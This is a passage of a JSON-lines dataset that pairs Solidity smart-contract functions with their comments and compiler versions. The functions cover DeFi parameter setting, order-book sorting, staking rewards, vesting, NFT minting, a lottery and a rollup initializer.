== 'cap') cap = val;\r\n else if (param == 'mat') { require(val >= RAY); mat = val; }\r\n else if (param == 'tax') { require(val >= RAY); drip(); tax = val; }\r\n else if (param == 'fee') { require(val >= RAY); drip(); fee = val; }\r\n else if (param == 'axe') { require(val >= RAY); axe = val; }\r\n else if (param == 'gap') { require(val >= WAD); gap = val; }\r\n else return;\r\n }", "version": "0.4.19"} {"comment": "//find the id of the next higher offer after offers[id]", "function_code": "function _find(uint id)\r\n internal\r\n view\r\n returns (uint)\r\n {\r\n require( id > 0 );\r\n\r\n address buy_gem = address(offers[id].buy_gem);\r\n address pay_gem = address(offers[id].pay_gem);\r\n uint top = _best[pay_gem][buy_gem];\r\n uint old_top = 0;\r\n\r\n // Find the larger-than-id order whose successor is less-than-id.\r\n while (top != 0 && _isPricedLtOrEq(id, top)) {\r\n old_top = top;\r\n top = _rank[top].prev;\r\n }\r\n return old_top;\r\n }", "version": "0.4.25"} {"comment": "// force settlement of the system at a given price (sai per gem).\n// This is nearly the equivalent of biting all cups at once.\n// Important consideration: the gems associated with free skr can\n// be tapped to make sai whole.", "function_code": "function cage(uint price) internal {\r\n require(!tub.off() && price != 0);\r\n caged = era();\r\n\r\n tub.drip(); // collect remaining fees\r\n tap.heal(); // absorb any pending fees\r\n\r\n fit = rmul(wmul(price, vox.par()), tub.per());\r\n // Most gems we can get per sai is the full balance of the tub.\r\n // If there is no sai issued, we should still be able to cage.\r\n if (sai.totalSupply() == 0) {\r\n fix = rdiv(WAD, price);\r\n } else {\r\n fix = min(rdiv(WAD, price), rdiv(tub.pie(), sai.totalSupply()));\r\n }\r\n\r\n tub.cage(fit, rmul(fix, sai.totalSupply()));\r\n tap.cage(fix);\r\n\r\n tap.vent(); // burn pending sale skr\r\n }", "version": "0.4.19"} {"comment": "// Liquidation Ratio 150%\n// Liquidation Penalty 13%\n// Stability Fee 0.05%\n// PETH Fee 0%\n// Boom/Bust Spread -3%\n// Join/Exit Spread 0%\n// Debt Ceiling 0", "function_code": "function configParams() public auth {\r\n require(step == 3);\r\n\r\n tub.mold(\"cap\", 0);\r\n tub.mold(\"mat\", ray(1.5 ether));\r\n tub.mold(\"axe\", ray(1.13 ether));\r\n tub.mold(\"fee\", 1000000000158153903837946257); // 0.5% / year\r\n tub.mold(\"tax\", ray(1 ether));\r\n tub.mold(\"gap\", 1 ether);\r\n\r\n tap.mold(\"gap\", 0.97 ether);\r\n\r\n step += 1;\r\n }", "version": "0.4.19"} {"comment": "// Make a new offer without putting it in the sorted list.\n// Takes funds from the caller into market escrow.\n// ****Available to authorized contracts only!**********\n// Keepers should call insert(id,pos) to put offer in the sorted list.", "function_code": "function _offeru(\r\n uint pay_amt, //maker (ask) sell how much\r\n ERC20 pay_gem, //maker (ask) sell which token\r\n uint buy_amt, //maker (ask) buy how much\r\n ERC20 buy_gem //maker (ask) buy which token\r\n )\r\n internal\r\n returns (uint id)\r\n {\r\n require(_dust[pay_gem] <= pay_amt);\r\n id = super.offer(pay_amt, pay_gem, buy_amt, buy_gem);\r\n _near[id] = _head;\r\n _head = id;\r\n LogUnsortedOffer(id);\r\n }", "version": "0.4.25"} {"comment": "//put offer into the sorted list", "function_code": "function _sort(\r\n uint id, //maker (ask) id\r\n uint pos //position to insert into\r\n )\r\n internal\r\n {\r\n require(isActive(id));\r\n\r\n address buy_gem = address(offers[id].buy_gem);\r\n address pay_gem = address(offers[id].pay_gem);\r\n uint prev_id; //maker (ask) id\r\n\r\n pos = pos == 0 || offers[pos].pay_gem != pay_gem || offers[pos].buy_gem != buy_gem || !isOfferSorted(pos)\r\n ?\r\n _find(id)\r\n :\r\n _findpos(id, pos);\r\n\r\n if (pos != 0) { //offers[id] is not the highest offer\r\n //requirement below is satisfied by statements above\r\n //require(_isPricedLtOrEq(id, pos));\r\n prev_id = _rank[pos].prev;\r\n _rank[pos].prev = id;\r\n _rank[id].next = pos;\r\n } else { //offers[id] is the highest offer\r\n prev_id = _best[pay_gem][buy_gem];\r\n _best[pay_gem][buy_gem] = id;\r\n }\r\n\r\n if (prev_id != 0) { //if lower offer does exist\r\n //requirement below is satisfied by statements above\r\n //require(!_isPricedLtOrEq(id, prev_id));\r\n _rank[prev_id].next = id;\r\n _rank[id].prev = prev_id;\r\n }\r\n\r\n _span[pay_gem][buy_gem]++;\r\n LogSortedOffer(id);\r\n }", "version": "0.4.25"} {"comment": "// Remove offer from the sorted list (does not cancel offer)", "function_code": "function _unsort(\r\n uint id //id of maker (ask) offer to remove from sorted list\r\n )\r\n internal\r\n returns (bool)\r\n {\r\n address buy_gem = address(offers[id].buy_gem);\r\n address pay_gem = address(offers[id].pay_gem);\r\n require(_span[pay_gem][buy_gem] > 0);\r\n\r\n require(_rank[id].delb == 0 && //assert id is in the sorted list\r\n isOfferSorted(id));\r\n\r\n if (id != _best[pay_gem][buy_gem]) { // offers[id] is not the highest offer\r\n require(_rank[_rank[id].next].prev == id);\r\n _rank[_rank[id].next].prev = _rank[id].prev;\r\n } else { //offers[id] is the highest offer\r\n _best[pay_gem][buy_gem] = _rank[id].prev;\r\n }\r\n\r\n if (_rank[id].prev != 0) { //offers[id] is not the lowest offer\r\n require(_rank[_rank[id].prev].next == id);\r\n _rank[_rank[id].prev].next = _rank[id].next;\r\n }\r\n\r\n _span[pay_gem][buy_gem]--;\r\n _rank[id].delb = block.number; //mark _rank[id] for deletion\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Backup function for activating token purchase\n/// requires sender to be a member of the group or CLevel\n/// @param _tokenId The ID of the Token group", "function_code": "function activatePurchase(uint256 _tokenId) external whenNotPaused {\r\n var group = tokenIndexToGroup[_tokenId];\r\n require(group.addressToContribution[msg.sender] > 0 ||\r\n msg.sender == ceoAddress ||\r\n msg.sender == cooAddress1 ||\r\n msg.sender == cooAddress2 ||\r\n msg.sender == cooAddress3 ||\r\n msg.sender == cfoAddress);\r\n\r\n // Safety check that enough money has been contributed to group\r\n var price = linkedContract.priceOf(_tokenId);\r\n require(group.contributedBalance >= price);\r\n\r\n // Safety check that token had not be purchased yet\r\n require(group.purchasePrice == 0);\r\n\r\n _purchase(_tokenId, price);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Allow user to leave purchase group; note that their contribution\n/// will be added to their withdrawable balance, and not directly refunded.\n/// User can call withdrawBalance to retrieve funds.\n/// @param _tokenId The ID of the Token purchase group to be left", "function_code": "function leaveTokenGroup(uint256 _tokenId) external whenNotPaused {\r\n address userAdd = msg.sender;\r\n\r\n var group = tokenIndexToGroup[_tokenId];\r\n var contributor = userAddressToContributor[userAdd];\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_addressNotNull(userAdd));\r\n\r\n // Safety check to make sure group exists;\r\n require(group.exists);\r\n\r\n // Safety check to make sure group hasn't purchased token already\r\n require(group.purchasePrice == 0);\r\n\r\n // Safety checks to ensure contributor has contributed to group\r\n require(group.addressToContributorArrIndex[userAdd] > 0);\r\n require(contributor.tokenIdToGroupArrIndex[_tokenId] > 0);\r\n\r\n uint refundBalance = _clearContributorRecordInGroup(_tokenId, userAdd);\r\n _clearGroupRecordInContributor(_tokenId, userAdd);\r\n\r\n userAddressToContributor[userAdd].withdrawableBalance += refundBalance;\r\n FundsDeposited(userAdd, refundBalance);\r\n\r\n LeaveGroup(\r\n _tokenId,\r\n userAdd,\r\n tokenIndexToGroup[_tokenId].contributedBalance,\r\n refundBalance\r\n );\r\n }", "version": "0.4.18"} {"comment": "/// @notice Allow user to leave purchase group; note that their contribution\n/// and any funds they have in their withdrawableBalance will transfered to them.\n/// @param _tokenId The ID of the Token purchase group to be left", "function_code": "function leaveTokenGroupAndWithdrawBalance(uint256 _tokenId) external whenNotPaused {\r\n address userAdd = msg.sender;\r\n\r\n var group = tokenIndexToGroup[_tokenId];\r\n var contributor = userAddressToContributor[userAdd];\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_addressNotNull(userAdd));\r\n\r\n // Safety check to make sure group exists;\r\n require(group.exists);\r\n\r\n // Safety check to make sure group hasn't purchased token already\r\n require(group.purchasePrice == 0);\r\n\r\n // Safety checks to ensure contributor has contributed to group\r\n require(group.addressToContributorArrIndex[userAdd] > 0);\r\n require(contributor.tokenIdToGroupArrIndex[_tokenId] > 0);\r\n\r\n uint refundBalance = _clearContributorRecordInGroup(_tokenId, userAdd);\r\n _clearGroupRecordInContributor(_tokenId, userAdd);\r\n\r\n userAddressToContributor[userAdd].withdrawableBalance += refundBalance;\r\n FundsDeposited(userAdd, refundBalance);\r\n\r\n _withdrawUserFunds(userAdd);\r\n\r\n LeaveGroup(\r\n _tokenId,\r\n userAdd,\r\n tokenIndexToGroup[_tokenId].contributedBalance,\r\n refundBalance\r\n );\r\n }", "version": "0.4.18"} {"comment": "/// @dev In the event of needing a fork, this function moves all\n/// of a group's contributors' contributions into their withdrawable balance.\n/// @notice Group is dissolved after fn call\n/// @param _tokenId The ID of the Token purchase group", "function_code": "function dissolveTokenGroup(uint256 _tokenId) external onlyCOO whenForking {\r\n var group = tokenIndexToGroup[_tokenId];\r\n\r\n // Safety check to make sure group exists and had not purchased a token\r\n require(group.exists);\r\n require(group.purchasePrice == 0);\r\n\r\n for (uint i = 0; i < tokenIndexToGroup[_tokenId].contributorArr.length; i++) {\r\n address userAdd = tokenIndexToGroup[_tokenId].contributorArr[i];\r\n\r\n var userContribution = group.addressToContribution[userAdd];\r\n\r\n _clearGroupRecordInContributor(_tokenId, userAdd);\r\n\r\n // clear contributor record on group\r\n tokenIndexToGroup[_tokenId].addressToContribution[userAdd] = 0;\r\n tokenIndexToGroup[_tokenId].addressToContributorArrIndex[userAdd] = 0;\r\n\r\n // move contributor's contribution to their withdrawable balance\r\n userAddressToContributor[userAdd].withdrawableBalance += userContribution;\r\n ProceedsDeposited(_tokenId, userAdd, userContribution);\r\n }\r\n activeGroups -= 1;\r\n tokenIndexToGroup[_tokenId].exists = false;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Backup fn to allow distribution of funds after sale,\n/// for the special scenario where an alternate sale platform is used;\n/// @notice Group is dissolved after fn call\n/// @param _tokenId The ID of the Token purchase group\n/// @param _amount Funds to be distributed", "function_code": "function distributeCustomSaleProceeds(uint256 _tokenId, uint256 _amount) external onlyCOO {\r\n var group = tokenIndexToGroup[_tokenId];\r\n\r\n // Safety check to make sure group exists and had purchased the token\r\n require(group.exists);\r\n require(group.purchasePrice > 0);\r\n require(_amount > 0);\r\n\r\n _distributeProceeds(_tokenId, _amount);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Distribute funds after a token is sold.\n/// Group is dissolved after fn call\n/// @param _tokenId The ID of the Token purchase group", "function_code": "function distributeSaleProceeds(uint256 _tokenId) external onlyCOO {\r\n var group = tokenIndexToGroup[_tokenId];\r\n\r\n // Safety check to make sure group exists and had purchased the token\r\n require(group.exists);\r\n require(group.purchasePrice > 0);\r\n\r\n // Safety check to make sure token had been sold\r\n uint256 currPrice = linkedContract.priceOf(_tokenId);\r\n uint256 soldPrice = _newPrice(group.purchasePrice);\r\n require(currPrice > soldPrice);\r\n\r\n uint256 paymentIntoContract = uint256(SafeMath.div(SafeMath.mul(soldPrice, 94), 100));\r\n _distributeProceeds(_tokenId, paymentIntoContract);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Backup fn to allow transfer of token out of\n/// contract, for use where a purchase group wants to use an alternate\n/// selling platform\n/// @param _tokenId The ID of the Token purchase group\n/// @param _to Address to transfer token to", "function_code": "function transferToken(uint256 _tokenId, address _to) external onlyCOO {\r\n var group = tokenIndexToGroup[_tokenId];\r\n\r\n // Safety check to make sure group exists and had purchased the token\r\n require(group.exists);\r\n require(group.purchasePrice > 0);\r\n\r\n linkedContract.transfer(_to, _tokenId);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Withdraws sale commission, CFO-only functionality\n/// @param _to Address for commission to be sent to", "function_code": "function withdrawCommission(address _to) external onlyCFO {\r\n uint256 balance = commissionBalance;\r\n address transferee = (_to == address(0)) ? cfoAddress : _to;\r\n commissionBalance = 0;\r\n if (balance > 0) {\r\n transferee.transfer(balance);\r\n }\r\n FundsWithdrawn(transferee, balance);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Clears record of a Contributor from a Group's record\n/// @param _tokenId Token ID of Group to be cleared\n/// @param _userAdd Address of Contributor", "function_code": "function _clearContributorRecordInGroup(uint256 _tokenId, address _userAdd) private returns (uint256 refundBalance) {\r\n var group = tokenIndexToGroup[_tokenId];\r\n\r\n // Index was saved is 1 + the array's index, b/c 0 is the default value\r\n // in a mapping.\r\n uint cIndex = group.addressToContributorArrIndex[_userAdd] - 1;\r\n uint lastCIndex = group.contributorArr.length - 1;\r\n refundBalance = group.addressToContribution[_userAdd];\r\n\r\n // clear contribution record in group\r\n tokenIndexToGroup[_tokenId].addressToContributorArrIndex[_userAdd] = 0;\r\n tokenIndexToGroup[_tokenId].addressToContribution[_userAdd] = 0;\r\n\r\n // move address in last position to deleted contributor's spot\r\n if (lastCIndex > 0) {\r\n tokenIndexToGroup[_tokenId].addressToContributorArrIndex[group.contributorArr[lastCIndex]] = cIndex;\r\n tokenIndexToGroup[_tokenId].contributorArr[cIndex] = group.contributorArr[lastCIndex];\r\n }\r\n\r\n tokenIndexToGroup[_tokenId].contributorArr.length -= 1;\r\n tokenIndexToGroup[_tokenId].contributedBalance -= refundBalance;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Stake the staking token for the token to be paid as reward.\r\n */", "function_code": "function stake(address token, uint128 amount)\r\n external\r\n override\r\n nonReentrant\r\n updateTerm(token)\r\n updateReward(token, msg.sender)\r\n {\r\n if (_accountInfo[token][msg.sender].userTerm < _currentTerm[token]) {\r\n return;\r\n }\r\n\r\n require(amount != 0, \"staking amount should be positive number\");\r\n\r\n _updVoteAdd(msg.sender, amount);\r\n _stake(msg.sender, token, amount);\r\n _stakingToken.safeTransferFrom(msg.sender, address(this), amount);\r\n }", "version": "0.7.1"} {"comment": "/// @dev Redistribute proceeds from token purchase\n/// @param _tokenId Token ID of token to be purchased\n/// @param _amount Amount paid into contract for token", "function_code": "function _distributeProceeds(uint256 _tokenId, uint256 _amount) private {\r\n uint256 fundsForDistribution = uint256(SafeMath.div(SafeMath.mul(_amount,\r\n distributionNumerator), distributionDenominator));\r\n uint256 commission = _amount;\r\n\r\n for (uint i = 0; i < tokenIndexToGroup[_tokenId].contributorArr.length; i++) {\r\n address userAdd = tokenIndexToGroup[_tokenId].contributorArr[i];\r\n\r\n // calculate contributor's sale proceeds and add to their withdrawable balance\r\n uint256 userProceeds = uint256(SafeMath.div(SafeMath.mul(fundsForDistribution,\r\n tokenIndexToGroup[_tokenId].addressToContribution[userAdd]),\r\n tokenIndexToGroup[_tokenId].contributedBalance));\r\n\r\n _clearGroupRecordInContributor(_tokenId, userAdd);\r\n\r\n // clear contributor record on group\r\n tokenIndexToGroup[_tokenId].addressToContribution[userAdd] = 0;\r\n tokenIndexToGroup[_tokenId].addressToContributorArrIndex[userAdd] = 0;\r\n\r\n commission -= userProceeds;\r\n userAddressToContributor[userAdd].withdrawableBalance += userProceeds;\r\n ProceedsDeposited(_tokenId, userAdd, userProceeds);\r\n }\r\n\r\n commissionBalance += commission;\r\n Commission(_tokenId, commission);\r\n\r\n activeGroups -= 1;\r\n tokenIndexToGroup[_tokenId].exists = false;\r\n tokenIndexToGroup[_tokenId].contributorArr.length = 0;\r\n tokenIndexToGroup[_tokenId].contributedBalance = 0;\r\n tokenIndexToGroup[_tokenId].purchasePrice = 0;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Calculates next price of celebrity token\n/// @param _oldPrice Previous price", "function_code": "function _newPrice(uint256 _oldPrice) private view returns (uint256 newPrice) {\r\n if (_oldPrice < firstStepLimit) {\r\n // first stage\r\n newPrice = SafeMath.div(SafeMath.mul(_oldPrice, 200), 94);\r\n } else if (_oldPrice < secondStepLimit) {\r\n // second stage\r\n newPrice = SafeMath.div(SafeMath.mul(_oldPrice, 120), 94);\r\n } else {\r\n // third stage\r\n newPrice = SafeMath.div(SafeMath.mul(_oldPrice, 115), 94);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Withdraw the staking token for the token to be paid as reward.\r\n */", "function_code": "function withdraw(address token, uint128 amount)\r\n external\r\n override\r\n nonReentrant\r\n updateTerm(token)\r\n updateReward(token, msg.sender)\r\n {\r\n if (_accountInfo[token][msg.sender].userTerm < _currentTerm[token]) {\r\n return;\r\n }\r\n\r\n require(amount != 0, \"withdrawing amount should be positive number\");\r\n\r\n _updVoteSub(msg.sender, amount);\r\n _withdraw(msg.sender, token, amount);\r\n _stakingToken.safeTransfer(msg.sender, amount);\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * @notice Receive the reward for your staking in the token.\r\n */", "function_code": "function receiveReward(address token)\r\n external\r\n override\r\n nonReentrant\r\n updateTerm(token)\r\n updateReward(token, msg.sender)\r\n returns (uint256 rewards)\r\n {\r\n rewards = _accountInfo[token][msg.sender].rewards;\r\n if (rewards != 0) {\r\n _totalRemainingRewards[token] = _totalRemainingRewards[token].sub(rewards); // subtract the total unpaid reward\r\n _accountInfo[token][msg.sender].rewards = 0;\r\n if (token == ETH_ADDRESS) {\r\n _transferETH(msg.sender, rewards);\r\n } else {\r\n IERC20(token).safeTransfer(msg.sender, rewards);\r\n }\r\n emit RewardPaid(token, msg.sender, rewards);\r\n }\r\n }", "version": "0.7.1"} {"comment": "//THE ONLY ADMIN FUNCTIONS ^^^^", "function_code": "function sqrt(uint y) public pure returns (uint z) {\r\n if (y > 3) {\r\n z = y;\r\n uint x = y / 2 + 1;\r\n while (x < z) {\r\n z = x;\r\n x = (y / x + x) / 2;\r\n }\r\n } else if (y != 0) {\r\n z = 1;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Allots a new stake out of the stake of the message sender\n/// @dev Stakeholder only may call", "function_code": "function splitStake(address newHolder, uint256 newAmount) external {\n address holder = msg.sender;\n require(newHolder != holder, \"PStakes: duplicated address\");\n\n Stake memory stake = _getStake(holder);\n require(newAmount <= stake.allocated, \"PStakes: too large allocated\");\n\n uint256 updAmount = uint256(stake.allocated) - newAmount;\n uint256 updReleased = (uint256(stake.released) * updAmount) /\n uint256(stake.allocated);\n stakes[holder] = Stake(_safe96(updAmount), _safe96(updReleased));\n emit StakeSplit(holder, updAmount, updReleased);\n\n uint256 newVested = uint256(stake.released) - updReleased;\n stakes[newHolder] = Stake(_safe96(newAmount), _safe96(newVested));\n emit StakeSplit(newHolder, newAmount, newVested);\n }", "version": "0.8.4"} {"comment": "//////////////////\n//// Owner ////\n//////////////////\n/// @notice Inits the contract and adds stakes\n/// @dev Owner only may call on a proxy (but not on the implementation)", "function_code": "function addStakes(\n uint256 _poolId,\n address[] calldata holders,\n uint256[] calldata allocations,\n uint256 unallocated\n ) external onlyOwner {\n if (allocation == 0) {\n _init(_poolId);\n } else {\n require(_poolId == poolId, \"PStakes: pool mismatch\");\n }\n\n uint256 nEntries = holders.length;\n require(nEntries == allocations.length, \"PStakes: length mismatch\");\n uint256 updAllocated = uint256(allocated);\n for (uint256 i = 0; i < nEntries; i++) {\n _throwZeroHolderAddress(holders[i]);\n require(\n stakes[holders[i]].allocated == 0,\n \"PStakes: holder exists\"\n );\n require(allocations[i] > 0, \"PStakes: zero allocation\");\n\n updAllocated += allocations[i];\n stakes[holders[i]] = Stake(_safe96(allocations[i]), 0);\n emit StakeAdded(holders[i], allocations[i]);\n }\n require(\n updAllocated + unallocated == allocation,\n \"PStakes: invalid allocation\"\n );\n allocated = _safe96(updAllocated);\n }", "version": "0.8.4"} {"comment": "/// @notice Withdraws accidentally sent token from this contract\n/// @dev Owner may call only", "function_code": "function claimErc20(\n address claimedToken,\n address to,\n uint256 amount\n ) external onlyOwner nonReentrant {\n IERC20 vestedToken = IERC20(address(_getToken()));\n if (claimedToken == address(vestedToken)) {\n uint256 balance = vestedToken.balanceOf(address(this));\n require(\n balance - amount >= allocation - released,\n \"PStakes: too big amount\"\n );\n }\n _claimErc20(claimedToken, to, amount);\n }", "version": "0.8.4"} {"comment": "/// @notice Removes the contract from blockchain when tokens are released\n/// @dev Owner only may call on a proxy (but not on the implementation)", "function_code": "function removeContract() external onlyOwner {\n // avoid accidental removing of the implementation\n _throwImplementation();\n\n require(allocation == released, \"PStakes: unpaid stakes\");\n\n IERC20 vestedToken = IERC20(address(_getToken()));\n uint256 balance = vestedToken.balanceOf(address(this));\n require(balance == 0, \"PStakes: non-zero balance\");\n\n selfdestruct(payable(msg.sender));\n }", "version": "0.8.4"} {"comment": "/// @notice Initialize the contract\n/// @dev May be called on a proxy only (but not on the implementation)", "function_code": "function _init(uint256 _poolId) internal {\n _throwImplementation();\n require(_poolId < 2**16, \"PStakes:unsafePoolId\");\n\n IVestingPools pools = _getVestingPools();\n address wallet = pools.getWallet(_poolId);\n require(wallet == address(this), \"PStakes:invalidPool\");\n PoolParams memory pool = pools.getPool(_poolId);\n require(pool.sAllocation != 0, \"PStakes:zeroPool\");\n\n poolId = uint16(_poolId);\n allocation = _safe96(uint256(pool.sAllocation) * SCALE);\n }", "version": "0.8.4"} {"comment": "/// @dev Returns amount that may be released for the given stake and factor", "function_code": "function _releasableAmount(Stake memory stake, uint256 _factor)\n internal\n pure\n returns (uint256)\n {\n uint256 share = (_factor * uint256(stake.allocated)) / SCALE;\n if (share > stake.allocated) {\n // imprecise division safeguard\n share = uint256(stake.allocated);\n }\n return share - uint256(stake.released);\n }", "version": "0.8.4"} {"comment": "/// @dev Sends the releasable amount of the specified placeholder", "function_code": "function _withdraw(address holder) internal {\n Stake memory stake = _getStake(holder);\n uint256 releasable = _releasableAmount(stake, uint256(factor));\n require(releasable > 0, \"PStakes: nothing to withdraw\");\n\n stakes[holder].released = _safe96(uint256(stake.released) + releasable);\n released = _safe96(uint256(released) + releasable);\n\n // (reentrancy attack impossible - known contract called)\n require(_getToken().transfer(holder, releasable), \"PStakes:E1\");\n emit Released(holder, releasable);\n }", "version": "0.8.4"} {"comment": "/// @dev Gets collateral balance deposited into Vesper Grow Pool", "function_code": "function _getCollateralBalance() internal view returns (uint256) {\n uint256 _totalSupply = vToken.totalSupply();\n // avoids division by zero error when pool is empty\n return (_totalSupply != 0) ? (vToken.totalValue() * vToken.balanceOf(address(this))) / _totalSupply : 0;\n }", "version": "0.8.3"} {"comment": "// When we add a shortable pynth, we need to know the iPynth as well\n// This is so we can get the proper skew for the short rate.", "function_code": "function addShortablePynths(bytes32[2][] calldata requiredPynthAndInverseNamesInResolver, bytes32[] calldata pynthKeys)\n external\n onlyOwner\n {\n require(requiredPynthAndInverseNamesInResolver.length == pynthKeys.length, \"Input array length mismatch\");\n\n for (uint i = 0; i < requiredPynthAndInverseNamesInResolver.length; i++) {\n // setting these explicitly for clarity\n // Each entry in the array is [Pynth, iPynth]\n bytes32 pynth = requiredPynthAndInverseNamesInResolver[i][0];\n bytes32 iPynth = requiredPynthAndInverseNamesInResolver[i][1];\n\n if (!_shortablePynths.contains(pynth)) {\n // Add it to the address set lib.\n _shortablePynths.add(pynth);\n\n // store the mapping to the iPynth so we can get its total supply for the borrow rate.\n pynthToInversePynth[pynth] = iPynth;\n\n emit ShortablePynthAdded(pynth);\n\n // now the associated pynth key to the CollateralManagerState\n state.addShortCurrency(pynthKeys[i]);\n }\n }\n\n rebuildCache();\n }", "version": "0.5.16"} {"comment": "//A mapping to store the player pairs in private rooms based on keccak256 ids generated locally\n//constructor", "function_code": "function Lottery() public{\r\n owner = msg.sender;\r\n player_count = 0;\r\n ante = 0.054 ether;\r\n required_number_players = 2;\r\n winner_percentage = 98;\r\n oraclize_setProof(proofType_Ledger); \r\n oracle_price = 0.003 ether;\r\n oraclize_gas = 285000;\r\n private_rooms_index=0;\r\n paused = false;\r\n ticket_price = ante + oracle_price;\r\n }", "version": "0.4.21"} {"comment": "// function when someone gambles a.k.a sends ether to the contract", "function_code": "function buy() whenNotPaused payable public{\r\n // No arguments are necessary, all\r\n // information is already part of\r\n // the transaction. The keyword payable\r\n // is required for the function to\r\n // be able to receive Ether.\r\n \r\n // If the bet is not equal to the ante + the oracle price, \r\n // send the money back.\r\n require (msg.value >= ante + oracle_price);//give it back, revert state changes, abnormal stop\r\n require (player_count <2); //make sure that the counter was reset\r\n if(msg.value > (ante+oracle_price)) {\r\n msg.sender.transfer(msg.value - ante - oracle_price); //If any extra eteher gets transferred return it back to the sender\r\n }\r\n \r\n player_count +=1;\r\n if (player_count == 1) {\r\n players.player1 = msg.sender;\r\n }\r\n if (player_count == 2) {\r\n players.player2 = msg.sender;\r\n ShowPlayers (players.player1,players.player2);\r\n update();\r\n player_count =0;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/* Address => (productName => amount) */", "function_code": "function TestConf () { name = \"TestConf\"; totalSupply = 1000000; initialIssuance = totalSupply; owner = 0x443B9375536521127DBfABff21f770e4e684475d; currentEthPrice = 20000; /* TODO: Oracle */ currentTokenPrice = 100; /* In cents */ symbol = \"TEST1\"; balances[owner] = 100; }", "version": "0.4.14"} {"comment": "/**\r\n * @dev Mint new quantity amount of nfts\r\n */", "function_code": "function mint(uint quantity) public payable isOpen notPaused {\r\n require(quantity > 0, \"You can't mint 0\");\r\n require(quantity <= maxPurchaseSize, \"Exceeds max per transaction\");\r\n require(totalSupply() + quantity <= MAX_SUPPLY, \"Not enough token left\");\r\n\r\n uint256 price = mintPrice.mul(quantity);\r\n require(msg.value >= price, \"Value below order price\");\r\n for(uint i = 0; i < quantity; i++){\r\n _safeMint(msg.sender, totalSupply().add(1));\r\n }\r\n\r\n uint256 remaining = msg.value.sub(price);\r\n if (remaining > 0) {\r\n (bool success, ) = msg.sender.call{value: remaining}(\"\");\r\n require(success);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns all the token IDs owned by address who\r\n */", "function_code": "function tokensOfAddress(address who) external view returns(uint256[] memory) {\r\n uint tokenCount = balanceOf(who);\r\n uint256[] memory tokensId = new uint256[](tokenCount);\r\n for(uint i = 0; i < tokenCount; i++){\r\n tokensId[i] = tokenOfOwnerByIndex(who, i);\r\n }\r\n return tokensId;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mint new quantity amount of nfts for specific address\r\n * Bypass pause modifier\r\n */", "function_code": "function ownerMint(uint quantity) public ownersOnly {\r\n require(quantity > 0, \"You can't mint 0\");\r\n require(totalSupply() + quantity <= MAX_SUPPLY, \"Not enough token left\");\r\n for(uint i = 0; i < quantity; i++){\r\n _safeMint(msg.sender, totalSupply().add(1));\r\n }\r\n }", "version": "0.8.4"} {"comment": "// Address of peg contract (to reject direct transfers)", "function_code": "function MinimalToken(\r\n uint256 _initialAmount,\r\n string _tokenName,\r\n uint8 _decimalUnits,\r\n string _tokenSymbol,\r\n address _peg\r\n ) public {\r\n balances[msg.sender] = _initialAmount;\r\n totalSupply = _initialAmount;\r\n name = _tokenName;\r\n decimals = _decimalUnits;\r\n symbol = _tokenSymbol;\r\n peg = _peg;\r\n }", "version": "0.4.19"} {"comment": "//----------------------------------------------\n// [public] tokenURI\n//----------------------------------------------", "function_code": "function tokenURI( uint256 tokenId ) public view override returns (string memory) {\r\n require( _exists( tokenId ), \"nonexistent token\" );\r\n\r\n // \u4fee\u5fa9\u30c7\u30fc\u30bf\u304c\u3042\u308c\u3070\r\n string memory url = repairedUrl( tokenId );\r\n if( bytes(url).length > 0 ){\r\n return( url );\r\n }\r\n\r\n uint256 at = ID_PHASE_MAX;\r\n for( uint256 i=0; i= _arr_id_offset[i] && tokenId < (_arr_id_offset[i]+_arr_num_mintable[i]) ){\r\n at = i;\r\n break;\r\n }\r\n }\r\n\r\n require( at < ID_PHASE_MAX, \"invalid phase\" );\r\n\r\n // \u3053\u3053\u307e\u3067\u304d\u305f\u3089\u30ea\u30ea\u30fc\u30b9\u6642\u306e\u30e1\u30bf\u3092\u8fd4\u3059\r\n string memory strId = LibString.toString( tokenId );\r\n return( string( abi.encodePacked( _arr_base_url[at], strId ) ) );\r\n }", "version": "0.8.7"} {"comment": "// _rollupParams = [ confirmPeriodBlocks, extraChallengeTimeBlocks, arbGasSpeedLimitPerBlock, baseStake ]\n// connectedContracts = [delayedBridge, sequencerInbox, outbox, rollupEventBridge, challengeFactory, nodeFactory]", "function_code": "function initialize(\n bytes32 _machineHash,\n uint256[4] calldata _rollupParams,\n address _stakeToken,\n address _owner,\n bytes calldata _extraConfig,\n address[6] calldata connectedContracts,\n address[2] calldata _facets,\n uint256[2] calldata sequencerInboxParams\n ) public {\n require(confirmPeriodBlocks == 0, \"ALREADY_INIT\");\n require(_rollupParams[0] != 0, \"BAD_CONF_PERIOD\");\n\n delayedBridge = IBridge(connectedContracts[0]);\n sequencerBridge = ISequencerInbox(connectedContracts[1]);\n outbox = IOutbox(connectedContracts[2]);\n delayedBridge.setOutbox(connectedContracts[2], true);\n rollupEventBridge = RollupEventBridge(connectedContracts[3]);\n delayedBridge.setInbox(connectedContracts[3], true);\n\n rollupEventBridge.rollupInitialized(\n _rollupParams[0],\n _rollupParams[2],\n _rollupParams[3],\n _stakeToken,\n _owner,\n _extraConfig\n );\n\n challengeFactory = IChallengeFactory(connectedContracts[4]);\n nodeFactory = INodeFactory(connectedContracts[5]);\n\n INode node = createInitialNode(_machineHash);\n initializeCore(node);\n\n confirmPeriodBlocks = _rollupParams[0];\n extraChallengeTimeBlocks = _rollupParams[1];\n arbGasSpeedLimitPerBlock = _rollupParams[2];\n baseStake = _rollupParams[3];\n owner = _owner;\n // A little over 15 minutes\n minimumAssertionPeriod = 75;\n challengeExecutionBisectionDegree = 400;\n\n sequencerInboxMaxDelayBlocks = 